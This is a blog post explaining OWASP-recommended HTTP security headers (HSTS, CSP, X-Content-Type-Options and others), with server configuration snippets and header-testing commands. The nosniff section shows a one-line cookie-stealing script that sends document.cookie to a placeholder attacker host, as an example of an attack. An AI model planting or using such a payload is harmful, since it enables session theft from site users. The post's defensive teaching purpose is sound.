Understanding OWASP Secure Headers: HTTP Security Headers & Best Practices

Jun 24, 2025    #owasp   #web-security   #http-headers   #security-headers   #content-security-policy   #hsts   #csp   #x-frame-options   #x-content-type-options   #referrer-policy   #permissions-policy   #cache-control   #web-application-security   #security-best-practices  

Introduction:

The OWASP Secure Headers Project (OSHP) is a comprehensive initiative that provides guidance on implementing HTTP security headers to enhance web application security. These headers act as a crucial layer of defense, helping to prevent common web vulnerabilities and protect users from various attack vectors.

As penetration testers/security professionals, understanding and implementing these headers is often an essential part of remediation guidance as well as an integral part of securing our own applications and systems.

What are HTTP Security Headers?

HTTP security headers are response headers that instruct web browsers to enforce specific security policies. They provide defense-in-depth by controlling how browsers handle content, enforce security policies, and protect against common attack vectors such as:

The OWASP Secure Headers Project Mission

Luckily for us OWASP have the Secure Headers Project (OSHP) which provides comprehensive guidance and configurations for helping implement these secure headers.

The OSHP also aims to:

Active Security Headers:

The following headers are currently active (listed as part of the OSHP project) and recommended for implementation.

We will break down each one to make it easier to understand what they do and how they offer protection.

Strict-Transport-Security (HSTS)

HTTP Strict Transport Security (HSTS) is a powerful response header that instructs browsers to only communicate with your site over secure HTTPS connections. This helps prevent protocol downgrade attacks and cookie hijacking.

When a browser sees the HSTS header, it remembers (for a duration you define) that it must refuse any HTTP connection to your domain, even if the user manually types http://.

Header Values:

Directive Description
max-age=SECONDS Duration (in seconds) the browser should enforce HTTPS only
includeSubDomains Extend the rule to all subdomains
preload Request inclusion in browser preload lists (see below)

Implementation Examples:

# Basic HSTS (1 year duration)
Strict-Transport-Security: max-age=31536000

# Include subdomains for full domain coverage
Strict-Transport-Security: max-age=31536000; includeSubDomains

# Recommended: full HSTS with preload flag
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Security Considerations:

+Important+: The HSTS header only takes effect over HTTPS. If a user visits your site via HTTP first, and you haven’t redirected them to HTTPS, the header won’t be seen or respected.

The preload flag can be used to submit your domain to https://hstspreload.org , allowing browsers to enforce HTTPS from the first visit—before any connection is made. Be cautious: once preloaded, removing HSTS can be difficult and slow to propagate.

Testing HSTS Implementation:

Many automated scanners (e.g., Nessus, Nikto, Burp Suite) will check for HSTS headers by default. You can also verify it manually with curl or nmap.

# Using curl to check for the HSTS header
curl -I https://example.com | grep -i strict-transport-security

# Scan headers with nmap
nmap --script http-security-headers -p 443 example.com

X-Frame-Options (XFO):

The X-Frame-Options (XFO) header helps protect against clickjacking attacks by controlling whether your content can be embedded within an <iframe>. Without it, attackers could load your site invisibly within a frame and trick users into interacting with it unknowingly.

Although still respected by many browsers, this header is largely considered legacy and is being replaced by the more flexible Content-Security-Policy: frame-ancestors.

Implementation Options:

# Deny all framing (most secure)
X-Frame-Options: DENY

# Allow framing by pages on the same origin
X-Frame-Options: SAMEORIGIN

# Allow from specific origin (deprecated and no longer supported by modern browsers)
X-Frame-Options: ALLOW-FROM https://trusted-site.com

+Important Note+: According to OWASP guidance:

The Content-Security-Policy (CSP) frame-ancestors directive obsoletes the X-Frame-Options header. If both are present, frame-ancestors takes precedence and the X-Frame-Options header will be ignored.

Modern Alternative: CSP frame-ancestors:

The recommended modern approach is to use the frame-ancestors directive in your Content Security Policy. This provides greater flexibility and support for multiple trusted origins.

# Completely disallow framing from any origin
Content-Security-Policy: frame-ancestors 'none';

# Allow framing only from your own domain
Content-Security-Policy: frame-ancestors 'self';

# Allow multiple trusted sources
Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com;

X-Content-Type-Options:

The X-Content-Type-Options header helps prevent MIME type sniffing, a technique used by some browsers to guess a file’s content type if the server-supplied Content-Type seems ambiguous.

When set to nosniff, this header instructs browsers to strictly follow the Content-Type declared by the server and not try to “guess” or interpret files as a different type. This mitigates risks like executing a malicious script served with a misleading MIME type.

X-Content-Type-Options: nosniff

What Is MIME Sniffing?

Browsers try to be “helpful” by sniffing the actual content of a file to determine its type, even if the server explicitly tells the browser, “Hey this is a text file.”

For example, if a server sends a file with Content-Type: text/plain, but the browser detects JavaScript content, some browsers might treat it as application/javascript and execute it.

This is where the X-Content-Type-Options: nosniff header comes in. It tells the browser: “Don’t guess. Only trust the Content-Type that I, the server, tells you.”

An Example Exploit Scenario (Without nosniff enabled):

Say you have a website, that you allow users to upload images to like .png, .jpg etc. Now, say someone uploads a malicious JavaScript file but renames it to profile.png and your backend accepts the file and serves it with a generic or incorrect MIME type Content-Type: image/png

However, as this file actually contains JavaScript what happens if X-Content-Type-Options is missing?

Well some browsers might inspect the content of profile.png and sniff that it’s actually JavaScript, and if the file is embedded or linked in a way that allows script execution through a <script src="..."> etc, the browser may execute the script.

This could lead to:

An Example of Drive-by Scenario (Without nosniff enabled):

Suppose you have a document-sharing feature and host files at: https://example.com/files/user-uploaded.pdf but an attacker uploads a malicious file disguised as a PDF named invoice.pdf. And your webserver serves it as Content-Type: application/pdf

But its actual content is a cookie stealer like below.

  <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

If X-Content-Type-Options is missing, and the user visits:

<iframe src="https://example.com/files/invoice.pdf"></iframe>

Some browsers may sniff the file and execute the script, turning a benign file-hosting service into a drive-by attack vector allowing attackers to steal cookies without any interaction.

Best Practice:

Always use this header, especially when serving user uploaded files or dynamic content to reduce the risk of drive-by downloads or cross-site scripting via unexpected file interpretation.

X-Content-Type-Options: nosniff

This will ensure browsers do not override the declared MIME type that is provided by the web server & prevent the browser from accidentally executing files as scripts.

It can help protect against:

Content-Security-Policy (CSP):

CSP is one of the most powerful security headers, allowing fine-grained control over resource loading and execution.

+Important+: Testing HAS to be conducted after defining this policy, as if misconfigured it could disable inline JavaScript & CSS effectively disabling elements of the site. However a properly defined CSP can help prevent several different attack vectors such as cross-site scripting (XSS), click jacking and other cross-site injection attacks.

CSP Directives Explained

Directive Purpose Example
base-uri Define the base URI for relative URIs ‘self’
default-src Fallback for other directives ‘self’
script-src Controls JavaScript sources ‘self’ ‘unsafe-inline’
object-src Controls allowed plugin/object/embed sources ’none’
style-src Controls CSS sources ‘self’ ‘unsafe-inline’
img-src Controls image sources ‘self’ data: https:
media-src Controls video and audio sources media.example.com
frame-src (Deprecated) Controls frame sources frame.example.com
child-src Controls nested browsing contexts (e.g., iframes) ‘self’
frame-ancestors Controls where the page can be embedded (anti-clickjacking) ’none’
font-src Controls font sources ‘self’ fonts.gstatic.com
connect-src Controls fetch/XHR/WebSocket endpoints api.example.com
manifest-src Controls manifest sources ‘self’
form-action Restricts form submission destinations ‘self’
sandbox Enables sandboxing of content with optional restrictions allow-scripts allow-forms
script-nonce Requires script tags to have a matching nonce ’nonce-abc123’
plugin-types Limits allowed plugin MIME types application/pdf
reflected-xss (Deprecated) Instructs browser XSS filters ‘block’
block-all-mixed-content (Deprecated) Blocks loading of mixed (HTTP) content on HTTPS pages
upgrade-insecure-requests Instructs the browser to upgrade HTTP resources to HTTPS
referrer (Deprecated) Controls the Referer header sent no-referrer
report-uri (Deprecated) Specifies where to send CSP violation reports https://example.com/csp-report
report-to Defines reporting group (see Report-To header) for CSP violations default-group

+Note+:

Basic CSP Implementation:

Here is a basic CSP implementation example.

# Restrictive CSP policy
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';

Explanation:

Real-World Example: Google’s CSP.

To give more context lets look at googles CSP see how a large-scale company implements CSP in production:

curl -I https://google.com | grep -i content-security-policy

It returns something like (I say something like as the nonce value is generated per-request)

content-security-policy-report-only:
    object-src 'none';
    base-uri 'self';
    script-src 'nonce-yxMLgEOc8rmGppxMx2uhMw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;
    report-uri https://csp.withgoogle.com/csp/gws/other-hp

What Google’s CSP is doing:

CSP Testing and Validation:

You can view, as you have seen the CSP for a site by curling and grepping for the source, however you can also check a CSP before implemenation by using https://csp-evaluator.withgoogle.com

# Test CSP headers
curl -I https://google.com | grep -i content-security-policy

# Validate CSP policy online
# Visit: https://csp-evaluator.withgoogle.com/

X-Permitted-Cross-Domain-Policies:

The X-Permitted-Cross-Domain-Policies header tells clients, primarily legacy technologies like Adobe Flash and Adobe Acrobat how to handle cross-domain data loading via the crossdomain.xml policy file.

Although Flash is now deprecated, this header still plays a role in securing environments where older clients, browser plugins, or embedded PDF viewers may be in use.

Implementation Options:

# Most secure: completely disallow all cross-domain policy files
X-Permitted-Cross-Domain-Policies: none

# Allow only the policy file located at the root (/crossdomain.xml)
X-Permitted-Cross-Domain-Policies: master-only

# Allow any cross-domain policy file (least secure; strongly discouraged)
X-Permitted-Cross-Domain-Policies: all

# Allow loading policy files by content type (legacy and rarely used)
X-Permitted-Cross-Domain-Policies: by-content-type

# Allow loading policy files via specific FTP filenames (very niche)
X-Permitted-Cross-Domain-Policies: by-ftp-filename

Security Considerations:

+Important+: This header is mainly relevant in older ecosystems, but still contributes to a strong defense-in-depth posture, especially if you’re serving documents or files that may be opened in legacy contexts.

Testing Implementation:

You can validate the presence of this header using command-line tools:

# Check for the header in server responses
curl -I https://example.com | grep -i x-permitted-cross-domain-policies

# Use nmap to scan for security headers
nmap --script http-security-headers -p 443 example.com

Referrer-Policy:

The Referrer-Policy header controls how much referrer information is included in outbound HTTP requests, such as when a user clicks a link or loads an image or script from another site.

By default, browsers may send the full URL of the referring page, which can expose sensitive data in query strings (e.g. /reset-password?token=xyz). This header helps mitigate that risk by letting you restrict how much information gets shared, especially in cross-origin contexts.

Policy Options:

Policy Same-Origin Requests Cross-Origin Requests Notes
unsafe-url Full URL Full URL Least private; exposes everything
origin Origin only Origin only Safer; hides path/query details
strict-origin Origin only Origin only (if HTTPS) Strips referrer unless HTTPS → HTTPS
strict-origin-when-cross-origin Full URL Origin only (if HTTPS) Good balance; default in modern browsers
no-referrer No referrer No referrer Most secure and private
# Example: Send full referrer (not recommended)
Referrer-Policy: unsafe-url

# Example: Send no referrer at all
Referrer-Policy: no-referrer

# Example: Recommended default
Referrer-Policy: strict-origin-when-cross-origin

+Best Practice+: strict-origin-when-cross-origin is widely considered the safest default as it sends full referrer to your own site, but only the origin to third-party domains, and never leaks anything when moving from HTTPS to HTTP.

Clear-Site-Data:

The Clear-Site-Data header instructs the browser to delete certain types of locally stored data when it receives the header in an HTTPS response. This can be useful after logout, user account deletion, or major application updates to prevent stale or sensitive data from lingering in the browser.

This header only works over secure connections (HTTPS) and is supported in most modern browsers.

Example:

Clear-Site-Data: "cache", "cookies", "storage"

This example clears:

Available Directives:

Directive Description
"cache" Clears the browser’s cache for the origin
"cookies" Deletes cookies for the origin
"storage" Clears localStorage, sessionStorage, IndexedDB, serviceWorker
"executionContexts" Resets JS execution contexts (rarely used)
"*" Clears all data types listed above (wildcard)

Use Cases:

+Important+: This header is non-blocking as it instructs the browser to delete data after the response is received. If you need to revoke tokens or end sessions immediately, combine this with server-side logic.

Cross-Origin Headers:

These headers are designed to control how your site interacts with resources across different origins. They help enforce isolation, resource sharing policies, and protect against side-channel attacks, such as Spectre.

Together, they form part of what’s known as a “secure cross-origin isolation policy” when used correctly.

Cross-Origin-Embedder-Policy (COEP):

The Cross-Origin-Embedder-Policy header determines whether your document can load cross-origin resources like images, scripts, or iframes. When set to require-corp, it blocks all cross-origin resources unless they explicitly grant permission via CORS or Cross-Origin-Resource-Policy.

Cross-Origin-Embedder-Policy: require-corp

Cross-Origin-Opener-Policy (COOP):

The Cross-Origin-Opener-Policy header isolates your document from other browsing contexts. This prevents other tabs or windows (even from the same origin) from accessing your context unless they meet specific criteria.

This is crucial for protecting window.opener references and enabling secure performance isolation.

Cross-Origin-Opener-Policy: same-origin

Cross-Origin-Resource-Policy (CORP):

The Cross-Origin-Resource-Policy header allows resources to opt-in to cross-origin requests. This is typically used on the resource side (e.g., APIs, fonts, images) to declare where the resource is allowed to be embedded.

Cross-Origin-Resource-Policy: same-origin

Comparison Table:

Header Purpose Typical Value Applied To
Cross-Origin-Embedder-Policy Controls which cross-origin resources can be embedded require-corp HTML documents
Cross-Origin-Opener-Policy Isolates tabs/windows to prevent shared browsing contexts same-origin HTML documents
Cross-Origin-Resource-Policy Declares who can embed or fetch a resource same-origin, cross-origin, same-site Fonts, scripts, images

Use Case: Enabling Cross-Origin Isolation

To enable cross-origin isolation, which is required for advanced browser features like SharedArrayBuffer, you must set both COEP and COOP:

Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin

This setup ensures your page is isolated from other browsing contexts and can safely use high resolution timers and other powerful APIs.

Permissions-Policy:

The Permissions-Policy header (formerly Feature-Policy) lets you control which browser features, APIs, and sensors are allowed to be used in your site, or in embedded content like iframes.

This is useful for hardening security, reducing unnecessary attack surface, and improving privacy (e.g., disabling camera/microphone access).

In this example, geolocation, microphone, and camera access are disabled for all origins, including the page’s own origin.

Permissions-Policy: geolocation=(), microphone=(), camera=()

Restrict in iframes only:

Permissions-Policy: camera=(self), microphone=(self)

This allows the main origin to access the APIs, but blocks them in any embedded iframe.

Common Directives:

Feature Description
geolocation Access to location data
microphone Microphone access (e.g., WebRTC)
camera Camera access
fullscreen Allow fullscreen API usage
payment Payment Request API
usb WebUSB API
vibrate Access to vibration feature (mostly mobile)

+Tip+: Use this policy to limit powerful browser APIs to trusted origins only, especially in dynamic content or third-party embeds.

Cache-Control:

The Cache-Control header defines how, and for how long, browsers and intermediaries (like CDNs or proxies) cache responses.

This plays a major role in both performance optimization and security, especially for sensitive content like authenticated pages or API responses.

Common Directives:

Directive Description
no-store Never store this response (e.g., for sensitive content)
no-cache Validate with server before using cached version
private Cache only in user’s browser, not shared caches
public Can be cached by any cache (browser, CDN, proxy)
max-age=SECONDS Maximum time a resource is considered fresh (in seconds)
must-revalidate Must revalidate with server once expired

Examples:

# Prevent any caching (good for sensitive responses like logout)
Cache-Control: no-store

# Cache for 10 minutes in browser only
Cache-Control: private, max-age=600

# Allow CDN/proxies to cache for 1 day
Cache-Control: public, max-age=86400

+Security Tip+: Use no-store for any page or endpoint that handles authentication, personal data, tokens, or logout to avoid sensitive data being cached locally or by proxies.

Deprecated Headers:

The following headers are deprecated and should not be used:

X-XSS-Protection

+Deprecated+: Modern browsers have deprecated this header in favor of CSP.

# Do NOT use this header
X-XSS-Protection: 1; mode=block

Feature-Policy:

+Deprecated+: Replaced by Permissions-Policy.

# Do NOT use this header
Feature-Policy: geolocation 'self'

Public-Key-Pins (HPKP)

+Deprecated+: Replaced by Certificate Transparency and modern TLS features.

# Do NOT use this header
Public-Key-Pins: max-age=2592000; pin-sha256="...";

Implementation Guide:

These examples and guides will need to be altered and modified depending on your environment. They are purely illustrative and serve as a flexible framework to follow when implementing secure headers.

Apache Configuration:

# Add to .htaccess or server configuration
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'"

Nginx Configuration:

# Add to server block
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'" always;

Node.js/Express Implementation:

const helmet = require('helmet');

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      fontSrc: ["'self'"],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"]
    }
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  },
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  permissionsPolicy: {
    features: {
      geolocation: [],
      microphone: [],
      camera: []
    }
  }
}));

Python/Flask Implementation:

from flask import Flask
from flask_talisman import Talisman

app = Flask(__name__)

csp = {
    'default-src': ["'self'"],
    'script-src': ["'self'", "'unsafe-inline'"],
    'style-src': ["'self'", "'unsafe-inline'"],
    'img-src': ["'self'", "data:", "https:"],
    'font-src': ["'self'"],
    'connect-src': ["'self'"],
    'frame-ancestors': ["'none'"]
}

Talisman(app,
         content_security_policy=csp,
         force_https=True,
         strict_transport_security=True,
         strict_transport_security_max_age=31536000,
         strict_transport_security_include_subdomains=True,
         strict_transport_security_preload=True)

Testing and Validation

Manual Testing:

We can easily test what headers are in place and their values by using curl.

# Test all security headers
curl -I https://example.com

# Test specific headers
curl -I https://example.com | grep -E "(Strict-Transport-Security|Content-Security-Policy|X-Frame-Options|X-Content-Type-Options)"

# Test with different user agents
curl -I -H "User-Agent: Mozilla/5.0" https://example.com

Automated Testing Tools:

Free Online Security Header Validation Tools:

You can interact with them graphically or make calls via curl

# Using securityheaders.com API
curl -X GET "https://securityheaders.com/?q=example.com&hide=on&followRedirects=on"

# Using Mozilla Observatory
curl -X GET "https://developer.mozilla.org/en-US/observatory/analyze?host=example.com"

This can easily be scripted as-well if several sites need to be checked.


# List of domains
urls=("example.com" "mozilla.org" "wikipedia.org")

# Loop through each URL
for url in "${urls[@]}"; do
  echo "Analyzing $url"
  curl -s -X GET "https://developer.mozilla.org/en-US/observatory/analyze?host=$url"
 #curl -s -X GET "https://securityheaders.com/?q=$url&hide=on&followRedirects=on"
  echo -e "\n"
done

Automated Tools:

Burp Suite, Nessus & Nikto all provide security header checking.

Nmap Scripts:

Good ol’ nmap provides a nice script that allows us to easily check security headers.

# Comprehensive security header scan
nmap --script http-security-headers -p 443 example.com

# Specific header enumeration
nmap --script http-headers -p 443 example.com

Security Headers Best Practices:

This section outlines a practical approach to deploying, monitoring, and maintaining security headers in real-world environments.

Implementation Strategy:

  1. Start with Core Security Headers Begin by implementing high-impact, low-risk headers that provide immediate security benefits:

    • Strict-Transport-Security (HSTS): Enforce HTTPS to prevent downgrade attacks.
    • X-Frame-Options: Protect against clickjacking.
    • X-Content-Type-Options: Prevent MIME-type sniffing.
  2. Introduce CSP in Stages Content-Security-Policy can be complex. Roll it out incrementally:

    • Start in report-only mode to identify potential issues without breaking functionality.
    • Monitor reports and refine your policy iteratively.
    • Switch to enforcement mode once confident and stable.
  3. Validate and Test Ensure changes don’t introduce regressions:

    • Test policies in staging environments before production.
    • Use different browsers and device types for coverage.
    • Watch for false positives or broken features during rollout.

Tools and Resources:

OWASP Secure Headers Project Tools:

Reference Documentation



Next: Common Vulnerability Scoring System (CVSS) - Complete Guide for Security Professionals